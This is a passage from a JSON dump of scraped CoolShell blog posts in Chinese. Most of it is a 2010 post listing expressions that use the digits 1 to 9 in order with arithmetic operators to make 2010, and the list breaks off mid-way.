src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1990.html\">程序命名的一些提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-1-7 2010 = 1+2-(3-4-5)_6_7_8-9.html",
    "content": "<html><body><p> 这是一个数字游戏，使用123456789，并按照123456789的顺序，使用加减乘除以及括号，进行操作使其结果等于2010（原来的游戏是使其值为100，<a href=\"http://www.cut-the-knot.org/do_you_know/digits.shtml\" target=\"_blank\">请看这里</a>），那么会有多少种解法呢？下面是924种解法，其让我想起了“24点游戏”。</p>\n<p>这里，如果让你写一段程序来生成所有的可能，你知道怎么写这段程序吗？</p>\n<h4>使用单个数</h4>\n<p>2010 = 1+2-(3-4-5)*6*7*8-9<br/>\n2010 = 1-(2+(3-4-5)*6*7)*8+9<br/>\n2010 = 1+2+(3+4*(5+6*7+8))*9<br/>\n2010 = 1+2*(3*4*(5+6)-7)*8+9<br/>\n2010 = 1*2*3*(4*(5*6+7*8)-9)<br/>\n2010 = 1+2+(3+4*(5-6+7*8))*9<br/>\n2010 = (1-2-3+4*(5/6+7*8))*9<br/>\n2010 = (1+2+3*4)*(5-6+(7+8)*9)<br/>\n2010 = 1+2+((3*(4+5)+6)*7-8)*9<br/>\n2010 = (1+2+3)*(4*(5*6+7*8)-9)<br/>\n2010 = 1+2+3*(4*(5+6)*(7+8)+9)<br/>\n2010 = (1*2/3)*((4+5)*6*7*8-9)<br/>\n2010 = (1-2-3)*((4+5)/6-7*8*9)<br/>\n2010 = (1*2+(3-4*(5/6-7))*8)*9<br/>\n2010 = 1*(2+(3-4*(5/6-7))*8)*9<br/>\n2010 = (1+2*(3+4))*(5-6+(7+8)*9)</p>\n<p><span id=\"more-2036\"></span></p>\n<h4>使用多位数</h4>\n<p>2010 = 12*34*5-6-7-8-9<br/>\n2010 = 12*34*5+6*7-8*9<br/>\n2010 = 1+2345*6/7+8-9<br/>\n2010 = 12-3*(4+5-678)-9<br/>\n2010 = 123*4*5-(6*7+8)*9<br/>\n2010 = 1+2-3*(4*5*6-789)<br/>\n2010 = 123*4*5+(6-7*8)*9<br/>\n2010 = 12*34+(5+6+7)*89<br/>\n2010 = 12*3*45+6*(7*8+9)<br/>\n2010 = 12+3*(4-5+67+8)*9<br/>\n2010 = (12-3)*4*56-7-8+9<br/>\n2010 = 12-(3-4*56+7-8)*9<br/>\n2010 = (1*2+34)*56-7-8+9<br/>\n2010 = 1*(2+34)*56-7-8+9<br/>\n2010 = 12*3*45-6*(7-8*9)<br/>\n2010 = 1+2*(34*5*6-7)-8-9<br/>\n2010 = 1+2-(3-45+6)*7*8-9<br/>\n2010 = 1*2*3*(45*6+7*8+9)<br/>\n2010 = (1+2)*3*4*56-7-8+9<br/>\n2010 = 1*2*3*(45*6-7+8*9)<br/>\n2010 = 12-(3/4-5)*6*78+9<br/>\n2010 = 1+(2/3)*45*67+8-9<br/>\n2010 = 1+23-4*(5/6-7*8)*9<br/>\n2010 = (1-2/3+4*56+7-8)*9<br/>\n2010 = 1+2-3*(4-5)*(678-9)<br/>\n2010 = (1-2)*3*(4-5-678+9)<br/>\n2010 = 1+2-3*((4-5)*678+9)<br/>\n2010 = (1+2)*(3-4*5+678+9)<br/>\n2010 = 1+(2+3)*(456-7*8)+9<br/>\n2010 = (12+3-45)*67*(8-9)<br/>\n2010 = 1-(23-(45-6)*7)*8+9<br/>\n2010 = 12-3*(4+5-(67+8)*9)<br/>\n2010 = 12-(3-45*(6+7-8))*9<br/>\n2010 = 1*(23-4*56)*(7-8-9)<br/>\n2010 = (1*23-4*56)*(7-8-9)<br/>\n2010 = (1+23/4)*5*67*8/9<br/>\n2010 = 12-3*(4+(5-6)*78)*9<br/>\n2010 = (1-23-45)*(6*7-8*9)<br/>\n2010 = 1*((2+34)*56-7-8+9)<br/>\n2010 = 1*((2+34)*56-7-8)+9<br/>\n2010 = 1*((2+34)*56-7)-8+9<br/>\n2010 = 12+3*(4*(5-6)+78)*9<br/>\n2010 = (1-2-34+5)*67*(8-9)<br/>\n2010 = 1+(2+34)*56+7*(8-9)<br/>\n2010 = 1+2+((34+5-6)*7-8)*9<br/>\n2010 = 1-(2-3-4)*(56*7+8)+9<br/>\n2010 = 1+2+(3+4*(56+7-8))*9<br/>\n2010 = (1+2*34)*(5*6+7-8)+9<br/>\n2010 = (12+3)*4+5*6*(7*8+9)<br/>\n2010 = (1+2*34*5-6)*(7+8-9)<br/>\n2010 = 1-(2+3-45)*(6*7+8)+9<br/>\n2010 = 1-(2+(3-45+6)*7)*8+9<br/>\n2010 = (1-2+(3+45)*6)*7-8+9<br/>\n2010 = (1+2)*(3*4*56-7+8)-9<br/>\n2010 = (1+2+3)*(45*6+7*8+9)<br/>\n2010 = 1*2*((3*4-5+6)*78-9)<br/>\n2010 = (1+2+3)*(45*6-7+8*9)<br/>\n2010 = 1+2-3*(45-6*7*(8+9))<br/>\n2010 = (12+3)*(4*5+6*7+8*9)<br/>\n2010 = (12+3)*4-5*6*(7-8*9)<br/>\n2010 = 1+2*(3*(4+5*67)-8)-9<br/>\n2010 = 1+(2+3-45)*(6-7*8)+9<br/>\n2010 = (12+3-45)*67/(8-9)<br/>\n2010 = 12+3*(4/(5-6)+78)*9<br/>\n2010 = 1-(2+3*45/6)*(7-89)<br/>\n2010 = (1+2)*34*5*67/(8+9)<br/>\n2010 = (1-2-34+5)*67/(8-9)<br/>\n2010 = 1+(2+34)*56+7/(8-9)<br/>\n2010 = 12+(3/4)*(5*6+7)*8*9<br/>\n2010 = (1*2/3-4)*(5+6-78)*9<br/>\n2010 = 1*(2/3-4)*(5+6-78)*9<br/>\n2010 = 12-(3/4)*(5-6*7)*8*9<br/>\n2010 = (1*2/3-4*56)*(7-8)*9<br/>\n2010 = 1*(2/3-4*56)*(7-8)*9<br/>\n2010 = (1+2)*((3-4)*5+678)-9<br/>\n2010 = (1+(2-3)*4)*(5-678)-9<br/>\n2010 = (1+2)*(3-4)*(5-678)-9<br/>\n2010 = (12+3)*(45-(6-7)*89)<br/>\n2010 = 12+3*((4+5)*(67+8)-9)<br/>\n2010 = 1-((2+34)*56-7)*(8-9)<br/>\n2010 = (1-2+3*45)*(6-(7-8)*9)<br/>\n2010 = 12-(3-(4+5+6)*(7+8))*9<br/>\n2010 = (12+3)*(4+5+6+7*(8+9))<br/>\n2010 = (1+2)*(3+4*(5+6)+7*89)<br/>\n2010 = 1+2-(3/(4-5))*(678-9)<br/>\n2010 = ((1+2)/3-4)*(5-678)-9<br/>\n2010 = 1-(23+(4+5)/6)*(7-89)<br/>\n2010 = 1-((2+34)*56-7)/(8-9)<br/>\n2010 = (1+2+3/4)*(5+(67-8)*9)<br/>\n2010 = 12*(3-4*(5-(6-7/8)*9))<br/>\n2010 = 1-(2+(3/4)*5*6)*(7-89)<br/>\n2010 = (1+2)*((3-4)*5+(67+8)*9)<br/>\n2010 = (1+(2-3)*4)*(5-(67+8)*9)<br/>\n2010 = (1+2)*(3-4)*(5-(67+8)*9)<br/>\n2010 = (1-(23+4)*5)*(6*(7-8)-9)<br/>\n2010 = (12+3)*((4+5)*(6+7)+8+9)<br/>\n2010 = (12/3)*((4-5)/6+7*8)*9<br/>\n2010 = ((1*2/3-4*56)/(7-8))*9<br/>\n2010 = (1*(2/3-4*56)/(7-8))*9<br/>\n2010 = ((1+2)/(3-4))*(5-678)-9<br/>\n2010 = ((12+3)/4)*(5+(67-8)*9)<br/>\n2010 = ((1+2)/3-4)*(5-(67+8)*9)<br/>\n2010 = (1-(23+4)*5)*(6/(7-8)-9)<br/>\n2010 = ((1+2)/(3-4))*(5-(67+8)*9)</p>\n<h4>使用小数</h4>\n<p>2010 = 1+2+.3*4*5*6*7*8-9<br/>\n2010 = 1+2+3*.4*5*6*7*8-9<br/>\n2010 = 1+2+3*4*.5*6*7*8-9<br/>\n2010 = 1+2+3*4*5*.6*7*8-9<br/>\n2010 = 1+2+3*4*5*6*.7*8-9<br/>\n2010 = 1+2+3*4*5*6*7*.8-9<br/>\n2010 = 1/.2+345*6-7*8-9<br/>\n2010 = 1/.2+345*6+7-8*9<br/>\n2010 = 1+2*3*4*56/.7+89<br/>\n2010 = 12+(34.5*6+7+8)*9<br/>\n2010 = 1+234.5*6/.7+8-9<br/>\n2010 = (1234+567+8)/.9<br/>\n2010 = 1+2345*.6/.7+8-9<br/>\n2010 = 12-34*(.5-67+8)+9<br/>\n2010 = 12-(3*4-5*6*7.8)*9<br/>\n2010 = 12*(3*4-.5+67+89)<br/>\n2010 = 1*(2345-67*8)/.9<br/>\n2010 = (1*2345-67*8)/.9<br/>\n2010 = 12+3*(.4*5-6+78)*9<br/>\n2010 = 12+3*(4*.5-6+78)*9<br/>\n2010 = 12-(3*4-.5*6*78)*9<br/>\n2010 = 12-(3*4-5*.6*78)*9<br/>\n2010 = 1-(2-.3*4*5*6*7)*8+9<br/>\n2010 = 1-(2-3*.4*5*6*7)*8+9<br/>\n2010 = 1-(2-3*4*.5*6*7)*8+9<br/>\n2010 = 1-(2-3*4*5*.6*7)*8+9<br/>\n2010 = 1-(2-3*4*5*6*.7)*8+9<br/>\n2010 = 1+2+3-4*(.5*6-7*8*9)<br/>\n2010 = 1+2+3-4*(5*.6-7*8*9)<br/>\n2010 = 1*2*3-4*(.5*6-7*8*9)<br/>\n2010 = 1*2*3-4*(5*.6-7*8*9)<br/>\n2010 = 12*(34*5-.6+7-8.9)<br/>\n2010 = .1+23*(45+6*7)+8.9<br/>\n2010 = .1+23*(4*5+67)+8.9<br/>\n2010 = .1+2345*6/7+.8-.9<br/>\n2010 = 12+3*(45/.6+7-8)*9<br/>\n2010 = .1+2-3*(4+5-678)+.9<br/>\n2010 = 1+2-(3-.4*567+.8)*9<br/>\n2010 = 1+2-(3-4*56.7+.8)*9<br/>\n2010 = (12/.3-4)*56-7-8+9<br/>\n2010 = 1.2+(3+45)*6*7-.8*9<br/>\n2010 = 1.2+(3+45)*6*7-8*.9<br/>\n2010 = 12*34*5+6/(7-.8*9)<br/>\n2010 = 12*34*5+6/(7-8*.9)<br/>\n2010 = 12*(34*5-.6+7-8-.9)<br/>\n2010 = (1.2+34+5)*(67-8-9)<br/>\n2010 = 1+2+3*(4+56/.7)*8-9<br/>\n2010 = 12+3*(.4-5+.6+78)*9<br/>\n2010 = .1+23*(45+6*7)+8+.9<br/>\n2010 = .1+23*(4*5+67)+8+.9<br/>\n2010 = 12+3*45*(.6+7+.8*9)<br/>\n2010 = 1-(23-4.5+6)*(7-89)<br/>\n2010 = 1*2*3*(4/.5+6*7*8-9)<br/>\n2010 = 12-(3-4.5*(6*7+8))*9<br/>\n2010 = (1+2)*(3-.4*5+678-9)<br/>\n2010 = (1+2)*(3-4*.5+678-9)<br/>\n2010 = 12*(3.4*56*7/8+.9)<br/>\n2010 = 12*(34+(.5-6+7)*89)<br/>\n2010 = 1+.2+(3+45)*6*7-.8*9<br/>\n2010 = 1+.2+(3+45)*6*7-8*.9<br/>\n2010 = 12-(3+4.5*(6-7*8))*9<br/>\n2010 = 12+((34+.5)*6+7+8)*9<br/>\n2010 = 1+(234+.5)*6/.7+8-9<br/>\n2010 = (1+.2+34+5)*(67-8-9)<br/>\n2010 = 12+(.3-4)*(5-67*8-9)<br/>\n2010 = 12*3*(45+6*7/8)/.9<br/>\n2010 = 12-(34+5*(.6-7)*8)*9<br/>\n2010 = 12+(34*(.5+6)-7+8)*9<br/>\n2010 = 1+(2/.3)*4.5*67+8-9<br/>\n2010 = 1+(2/.3)*45*6.7+8-9<br/>\n2010 = 1-(23-4-.5+6)*(7-89)<br/>\n2010 = 1-(2-3-4)*(56*7+.8+9)<br/>\n2010 = 1*2*(34-.5)*(6+7+8+9)<br/>\n2010 = (1+23-4)*5*(6+7+8-.9)<br/>\n2010 = (1+2*34)*(.5*6*7+8)+9<br/>\n2010 = (1+2*34)*(5*.6*7+8)+9<br/>\n2010 = (1+2*34)*(5*6*.7+8)+9<br/>\n2010 = 12*(3+4)+5*(6*7+.8)*9<br/>\n2010 = 12-3*(4-5*(.6+7+8))*9<br/>\n2010 = (1-2*34)*.5*6*(7-8-9)<br/>\n2010 = (1+2)*34+5*(6-.7)*8*9<br/>\n2010 = 12+3*4*(5*(6-.7)-8)*9<br/>\n2010 = 12-(.3/.4-5)*6*78+9<br/>\n2010 = 12-(3*4-5*6*(7+.8))*9<br/>\n2010 = 1*2*(3*4*(.5+6+78)-9)<br/>\n2010 = 1-(2-34)*(.5+6+7*8)+9<br/>\n2010 = 1-(2+34+5-6)*7*(.8-9)<br/>\n2010 = 1-(234+5+6)*(.7-8.9)<br/>\n2010 = (1+2+3+4*56)*(.7+8)+9<br/>\n2010 = (1*2*3+4*56)*(.7+8)+9<br/>\n2010 = 1*(2*3+4*56)*(.7+8)+9<br/>\n2010 = (1+(234+5-6-7)*8)/.9<br/>\n2010 = (1*2+3)*4*5*(6+7+8-.9)<br/>\n2010 = 1.2*(34-.5)*(67-8-9)<br/>\n2010 = 1*(2+3)*4*5*(6+7+8-.9)<br/>\n2010 = 1-(2+3)*4*(.5-6-7)*8+9<br/>\n2010 = (123/.4+5)*6+(7+8)*9<br/>\n2010 = (12/3)*(4.5-6+7*8*9)<br/>\n2010 = 1*2*(3*(.4*5+6*7*8)-9)<br/>\n2010 = 1*2*(3*(4*.5+6*7*8)-9)<br/>\n2010 = 1*(2*3-4*(.5*6-7*8*9))<br/>\n2010 = 1*(2*3-4*(5*.6-7*8*9))<br/>\n2010 = (1+2)*(3-4/.5+678)-9<br/>\n2010 = (1-2+3+4)*(.5+6*7*8)-9<br/>\n2010 = 1*2*3*(4+(.5+6*7)*8-9)<br/>\n2010 = 1/.2+34-5*6*(.7-8)*9<br/>\n2010 = ((123+4*5)/.6-7-8)*9<br/>\n2010 = 12*(34*5-.6*7+.8+.9)<br/>\n2010 = 12*(34*5-6*.7+.8+.9)<br/>\n2010 = (1*2/3+4-.5)*67*.8*9<br/>\n2010 = 1-(2*3*4+5+6)*7*(.8-9)<br/>\n2010 = .1*(2/3+4-.5)*67*8*9<br/>\n2010 = 1*(2/3+4-.5)*67*.8*9<br/>\n2010 = 1+23-4*(.5/.6-7*8)*9<br/>\n2010 = 1+(2-3-4+5*6*7)*(.8+9)<br/>\n2010 = 1-2*(3+4*5*(.6-7))*8+9<br/>\n2010 = 1+(2-3-4-5*6)*7*(.8-9)<br/>\n2010 = (1-.2/.3+4*56+7-8)*9<br/>\n2010 = (1+23)*(4+5+67/.8-9)<br/>\n2010 = 1-(234+5+6)*(.7-8-.9)<br/>\n2010 = 12+((3*4/.5)*6+78)*9<br/>\n2010 = 12-3*(.4-5.6*7*(8+9))<br/>\n2010 = (1+2.3/.4)*5*67*8/9<br/>\n2010 = (1+23/4)*5*6.7*8/.9<br/>\n2010 = 12*(3*(4+5-.6)*7-8.9)<br/>\n2010 = (1*2-34*(.5-67)*8)/9<br/>\n2010 = 1*(2-34*(.5-67)*8)/9<br/>\n2010 = (1+2)*(3*45+6*78)/.9<br/>\n2010 = 1+(2/.3)*4*(5+67)+89<br/>\n2010 = (1/.2)*(3-4*56+7*89)<br/>\n2010 = (1-23-4/.5)*67*(8-9)<br/>\n2010 = .1+234.5*6/.7+.8-.9<br/>\n2010 = (1-2+34/.5)*(6+7+8+9)<br/>\n2010 = 1*2*3*(.4-.5+6*7*8-.9)<br/>\n2010 = ((12/3)*456-7-8)/.9<br/>\n2010 = (1+(234-56/7)*8)/.9<br/>\n2010 = (12/3)*(4+.5-6+7*8*9)<br/>\n2010 = 12-(3-45*(6*.7+.8))*9<br/>\n2010 = (1+23)/.4+5*6*(7*8+9)<br/>\n2010 = 1+(2/.3+4*5)*(67+8)+9<br/>\n2010 = 1-(2-3*(4+56/.7))*8+9<br/>\n2010 = (.1-2*3.4)*5*6*(7-8-9)<br/>\n2010 = 1+((2+3)*4/.56)*7*8+9<br/>\n2010 = 12*((34-5)*6-.7*8-.9)<br/>\n2010 = 12*((34-5)*6-7*.8-.9)<br/>\n2010 = 12*((34-5)*6+.7-.8*9)<br/>\n2010 = 12*((34-5)*6+.7-8*.9)<br/>\n2010 = (12-3+4*5*6*(7+8))/.9<br/>\n2010 = 12-3*(.4-56*.7*(8+9))<br/>\n2010 = 12*(.3+4*(56-7-.8*9))<br/>\n2010 = 12*(.3+4*(56-7-8*.9))<br/>\n2010 = (1+23/4)*.5*67*8/.9<br/>\n2010 = (1+23/4)*5*67*.8/.9<br/>\n2010 = (12-3)*4*(.5/6+7*8)-9<br/>\n2010 = 1*(23+4)*(5+6+7*8)/.9<br/>\n2010 = (1*23+4)*(5+6+7*8)/.9<br/>\n2010 = (1*2+34)*(.5/6+7*8)-9<br/>\n2010 = 1*(2+34)*(.5/6+7*8)-9<br/>\n2010 = 1+(2/.34+5+6)*7*(8+9)<br/>\n2010 = (1-(2+3-4*56-7)*8)/.9<br/>\n2010 = 1+2+(3*4/.5)*(6+78)-9<br/>\n2010 = 1+(2+34*(5+6*7))/.8+9<br/>\n2010 = 12-(3+45*(.6-.7*8))*9<br/>\n2010 = 12-(3+45*(.6-7*.8))*9<br/>\n2010 = (1+23)/.4-5*6*(7-8*9)<br/>\n2010 = (12/3.4)*5*6.7*(8+9)<br/>\n2010 = 1-(2-3/.4+5*6)*(7-89)<br/>\n2010 = 1-2*3*(4+.5/6)*(7-89)<br/>\n2010 = .1+2345*.6/.7+.8-.9<br/>\n2010 = 1*2*3*((4/.5)*6*7+8-9)<br/>\n2010 = 1+2*((3*4/.5)*6*7-8)+9<br/>\n2010 = ((1+2*3*4)*5/.6+7+8)*9<br/>\n2010 = 12*(3*(4+5-.6)*7-8-.9)<br/>\n2010 = (1+2-(3-4*5/.6)*7+8)*9<br/>\n2010 = (1-2+3-4*(.5/6-7)*8)*9<br/>\n2010 = (1+2+3)*(4/.5+6*7*8-9)<br/>\n2010 = (1-2+3-45*6)*(.7+.8-9)<br/>\n2010 = (1/.2)*3*4+5*6*(7*8+9)<br/>\n2010 = 1+2-(3-4*(56+.7)+.8)*9<br/>\n2010 = (1/2)*3*4*(.5+6*7*8)-9<br/>\n2010 = (12+3)*.4*(.5+6*7*8)-9<br/>\n2010 = (.1-.2*34)*5*6*(7-8-9)<br/>\n2010 = 12+3*(.4+(5+6*.7)*8)*9<br/>\n2010 = (1-2)*3-4*(.5/6-7*8)*9<br/>\n2010 = (1+(2+3)*4-.5/6+7)*8*9<br/>\n2010 = 1+(2+3)*(4/.5+6*7)*8+9<br/>\n2010 = 1-(23+.4*5*6)*7*(.8-9)<br/>\n2010 = 1-(23+4*.5*6)*7*(.8-9)<br/>\n2010 = 1-(23+4*5*.6)*7*(.8-9)<br/>\n2010 = (1+2)*3*4*(.5/6+7*8)-9<br/>\n2010 = (1-2/3+4-5*6*(.7-8))*9<br/>\n2010 = (1*2-3+4*(.5/6+7*8))*9<br/>\n2010 = 1*(2-3+4*(.5/6+7*8))*9<br/>\n2010 = 1+2-(.3-4)*(.5+67)*8+9<br/>\n2010 = .1+(2/3)*45*67+.8-.9<br/>\n2010 = (1/.2)*3*(4*5+6*7+8*9)<br/>\n2010 = (1/.2)*3*4-5*6*(7-8*9)<br/>\n2010 = 1+(2-34-.5*6)*7*(.8-9)<br/>\n2010 = 1+(2-34-5*.6)*7*(.8-9)<br/>\n2010 = (12/3.4)*.5*67*(8+9)<br/>\n2010 = (1-.2+34)*(56.7+.8)+9<br/>\n2010 = (.1+.2-3-4)*5*6*(7-8-9)<br/>\n2010 = 1-2/.3-4*(.5/6-7*8*9)<br/>\n2010 = (1/2-34)*(5-67+8)/.9<br/>\n2010 = ((123+.4*5)/.6+7+8)*9<br/>\n2010 = ((123+4*.5)/.6+7+8)*9<br/>\n2010 = 1-2*(3*4-.5+6)*7*(.8-9)<br/>\n2010 = 12*(3-(4-.5)*(6*7-89))<br/>\n2010 = (12-3-4)*(5*(.6+78)+9)<br/>\n2010 = (1+2/.3-4+.5)*67*.8*9<br/>\n2010 = ((1-2)/3+4.5)*67*.8*9<br/>\n2010 = 1-(23.4+.5+.6)*(7-89)<br/>\n2010 = (.1-2/3+4*56+.7-.8)*9<br/>\n2010 = 1-(2+3*4.5/.6)*(7-89)<br/>\n2010 = (1*2/(.3+4.5))*67*8*9<br/>\n2010 = (12+34+5)*67/(.8+.9)<br/>\n2010 = (.12/.34)*5*67*(8+9)<br/>\n2010 = (12/.34)*5*.67*(8+9)<br/>\n2010 = (1-23-4/.5)*67/(8-9)<br/>\n2010 = 12+((34*5+.6+7)/.8)*9<br/>\n2010 = .1+.2-(3-4*(567-8))*.9<br/>\n2010 = 12-(3-(4+.5)*(6*7+8))*9<br/>\n2010 = (1-2)*(34-.5)*6*(7-8-9)<br/>\n2010 = ((1-2)*34+.5)*6*(7-8-9)<br/>\n2010 = (1+(2+3/4.5)*678)/.9<br/>\n2010 = 12*((3+.4)*56*7/8+.9)<br/>\n2010 = 1.2-(3-(4-.5-.6)*78)*9<br/>\n2010 = 1+(23+(4*5+6)*7)*(.8+9)<br/>\n2010 = (12+3)*4*((.5-6)*7+8*9)<br/>\n2010 = 1*23*((.4+5)/.6+78)+9<br/>\n2010 = (1-(2/3)/4)*.5*67*8*9<br/>\n2010 = (1-(2/3)/4)*5*67*.8*9<br/>\n2010 = (.1+2.3/4)*5*67*8/.9<br/>\n2010 = 1-(2/.3)*(4.5-6*7)*8+9<br/>\n2010 = 1+(2-3-4)*(56-7)*(.8-9)<br/>\n2010 = 12*((3+.4/56)*7*8-.9)<br/>\n2010 = 1+(23-(4-5*6)*7)*(.8+9)<br/>\n2010 = ((1*2/.3+4*5)*67/8)*9<br/>\n2010 = 12-(3+(4+.5)*(6-7*8))*9<br/>\n2010 = (1*(2/.3+4*5)*67/8)*9<br/>\n2010 = (1/(.2+3-4/5))*67*8*9<br/>\n2010 = 1-(2+.3*45/.6)*(7-89)<br/>\n2010 = 1+(2/.3)*(4+5*6.7)*8+9<br/>\n2010 = 1*((2*3+4*56)*(.7+8)+9)<br/>\n2010 = (1/.2+.34)*5*67/.89<br/>\n2010 = 1-(2/.3)*45*(.6-7)+89<br/>\n2010 = (1+2+3+45)*67/(.8+.9)<br/>\n2010 = (1*2*3+45)*67/(.8+.9)<br/>\n2010 = (12+3)*4*5*(6-.7*(8-9))<br/>\n2010 = 1*(2*3+45)*67/(.8+.9)<br/>\n2010 = 12/.3+4*(.5-6*(7-89))<br/>\n2010 = (1-.2+34)*(56+.7+.8)+9<br/>\n2010 = 12+(.3/.4)*(5*6+7)*8*9<br/>\n2010 = 12+(3/.4)*(5*6+7)*.8*9<br/>\n2010 = 12+(3/.4)*(5*6+7)*8*.9<br/>\n2010 = 12*3*(45+.6*7/.8)/.9<br/>\n2010 = 12*3*(45+6*.7/.8)/.9<br/>\n2010 = .1-2+.3-4*(.5+.6-7*8*9)<br/>\n2010 = (1.2+.3)*4*(.5+6*7*8)-9<br/>\n2010 = (1-2/3-45)*6*(.7+.8-9)<br/>\n2010 = (1-.2+34)*(5+6*7/.8)+9<br/>\n2010 = 1-2*(3+4)*(.5-6*(7+8+9))<br/>\n2010 = 1-(2+3*4)*(.5-6*(7+8+9))<br/>\n2010 = 1/2-((3-45)*6+.7)*8-.9<br/>\n2010 = (1+2+3)*(4+(.5+6*7)*8-9)<br/>\n2010 = 1*2*((3/.4-.5+6)*78-9)<br/>\n2010 = 1+(2+(3+4)*5*6-7)*(.8+9)<br/>\n2010 = 12-3*(.4-56*7*(.8+.9))<br/>\n2010 = (1/(.2-3+4))*.5*67*8*9<br/>\n2010 = (1/(.2-3+4))*5*67*.8*9<br/>\n2010 = (1*(2/3+4)-.5)*67*.8*9<br/>\n2010 = (1*2/(.3+4+.5))*67*8*9<br/>\n2010 = ((1/.2)*345+6+78)/.9<br/>\n2010 = 1+(2+3)*(4-5-6)*7*(.8-9)<br/>\n2010 = 1-(2/.3)*4*(.5*6-78)+9<br/>\n2010 = 1-(2/.3)*4*(5*.6-78)+9<br/>\n2010 = (1*2+3)*(4+5*(.6+7+8*9))<br/>\n2010 = 1*(2+3)*(4+5*(.6+7+8*9))<br/>\n2010 = 1+(2+(3+4*5+6)*7)*(.8+9)<br/>\n2010 = 1+(2+3)*(4+5*6+7)*(.8+9)<br/>\n2010 = 12-(.3/.4)*(5-6*7)*8*9<br/>\n2010 = 12-(3/.4)*(5-6*7)*.8*9<br/>\n2010 = 12-(3/.4)*(5-6*7)*8*.9<br/>\n2010 = 1+(2/.3)*45*(6+.7)+8-9<br/>\n2010 = 1+(2/.3)*(4+.5)*67+8-9<br/>\n2010 = 1+(2+(3-4+5*6)*7)*(.8+9)<br/>\n2010 = ((1+2)/.3)*(45+67+89)<br/>\n2010 = 1-(23+.4+.5+.6)*(7-89)<br/>\n2010 = 1*2*(.3+4+56)*(7+8)/.9<br/>\n2010 = 1+(2+3)*(4-5+6*7)*(.8+9)<br/>\n2010 = 1-(2+3*(4+5)+6)*7*(.8-9)<br/>\n2010 = 1+(2/.34)*(.5+6*7)*8+9<br/>\n2010 = 1+(2/.3)*(4+.5*67)*8+9<br/>\n2010 = (1.2/.34)*5*6.7*(8+9)<br/>\n2010 = (.1*2/.3-4*56)*(7-8)*9<br/>\n2010 = (1*.2/.3-4*56)*(7-8)*9<br/>\n2010 = 1*(.2/.3-4*56)*(7-8)*9<br/>\n2010 = 1.2+3*(4/.5+.6+.7)*8*9<br/>\n2010 = (123/.4)*5+(6*7/.8)*9<br/>\n2010 = (1.2/.3)*(4.5-6+7*8*9)<br/>\n2010 = 1/(.2-.3)-4*(5-6-7*8*9)<br/>\n2010 = (1-.2-3/.4)*5*6*(7-8-9)<br/>\n2010 = (1+(2/3+.4*5)*678)/.9<br/>\n2010 = (1+(2/3+4*.5)*678)/.9<br/>\n2010 = (1/.2-3+4)*(.5+6*7*8)-9<br/>\n2010 = (1-2*34)*5*6*(.7-.8-.9)<br/>\n2010 = (1+(2/3.4)*5)*(6+7*8*9)<br/>\n2010 = 1+2-(3/(.4-.5)-6)*7*8-9<br/>\n2010 = ((1+2)/.3)*(45*6-78+9)<br/>\n2010 = (1*2*3*4*5+.6)*(7+8)/.9<br/>\n2010 = 1*(2*3*4*5+.6)*(7+8)/.9<br/>\n2010 = 1+.2-(3-(4-.5-.6)*78)*9<br/>\n2010 = (1+234/.5)*6*7/(.8+9)<br/>\n2010 = 1-(2/.3)*(4+.5-6*7)*8+9<br/>\n2010 = 12*(3.4+(5+6)*(7+8)-.9)<br/>\n2010 = (.1*2*3+4*5*6)*(7+8)/.9<br/>\n2010 = (1*.2*3+4*5*6)*(7+8)/.9<br/>\n2010 = (1*2*.3+4*5*6)*(7+8)/.9<br/>\n2010 = 1*(.2*3+4*5*6)*(7+8)/.9<br/>\n2010 = 1*(2*.3+4*5*6)*(7+8)/.9<br/>\n2010 = (1/.2)*3*(45-(6-7)*89)<br/>\n2010 = (1-2-3+4*(.5/.6+7*8))*9<br/>\n2010 = (1-.2/3-.4-5)*(6-7*8)*9<br/>\n2010 = (12/.34)*.5*6.7*(8+9)<br/>\n2010 = (12/3.4)*5*67*(.8+.9)<br/>\n2010 = ((1/.2)*3-45)*67*(8-9)<br/>\n2010 = (1+(.2+3)*45)*(6+7.8)+9<br/>\n2010 = 12*34*5+.6/(.7-.8*.9)<br/>\n2010 = (1+.2)*(34-.5)*(67-8-9)<br/>\n2010 = (1+2)*(3-4/.5+(67+8)*9)<br/>\n2010 = (1+2+3)*(.4-.5+6*7*8-.9)<br/>\n2010 = (1-2-3)*(.4+.5+.6-7*8*9)<br/>\n2010 = (1+23)*(4-5+6+(7/.8)*9)<br/>\n2010 = (1+.2+.3)*4*(.5+6*7*8)-9<br/>\n2010 = ((1+23)/4)*(.5+6*7*8)-9<br/>\n2010 = ((1-2)/.3)*(4-56-7-8)*9<br/>\n2010 = 1*2*3*(.4*.5+6*(7-.8)*9)<br/>\n2010 = (1+((2+3)*45-6+7)*8)/.9<br/>\n2010 = (1/.2)*((3+4)*56-7+8+9)<br/>\n2010 = (1/.2)*((3-4+56)*7+8+9)<br/>\n2010 = ((12/.3)*45-6+7+8)/.9<br/>\n2010 = (.1*2/.3+4-.5)*67*.8*9<br/>\n2010 = (1*.2/.3+4-.5)*67*.8*9<br/>\n2010 = (1/.2)*(3+(4-5+6)*78+9)<br/>\n2010 = .1*(.2/.3+4-.5)*67*8*9<br/>\n2010 = 1*(.2/.3+4-.5)*67*.8*9<br/>\n2010 = (1/(2.3-.4+.5))*67*8*9<br/>\n2010 = (1+2.3/.4)*5*6.7*8/.9<br/>\n2010 = ((1-2)/(3-.4-5))*67*8*9<br/>\n2010 = (1-(2-3*(4+5+67))*8)/.9<br/>\n2010 = 1*((2+34)*(.5/6+7*8)-9)<br/>\n2010 = ((1-2)/.3+45)*6.7*.8*9<br/>\n2010 = (1+2.3*4)*5*67/(.8+.9)<br/>\n2010 = (1/.2-(3+4)*5)*67*(8-9)<br/>\n2010 = (1/.2)*(3-4-5)*67*(8-9)<br/>\n2010 = (1+2)*34*5*6.7/(.8+.9)<br/>\n2010 = ((1-.2)*34-.5)*67/.89<br/>\n2010 = 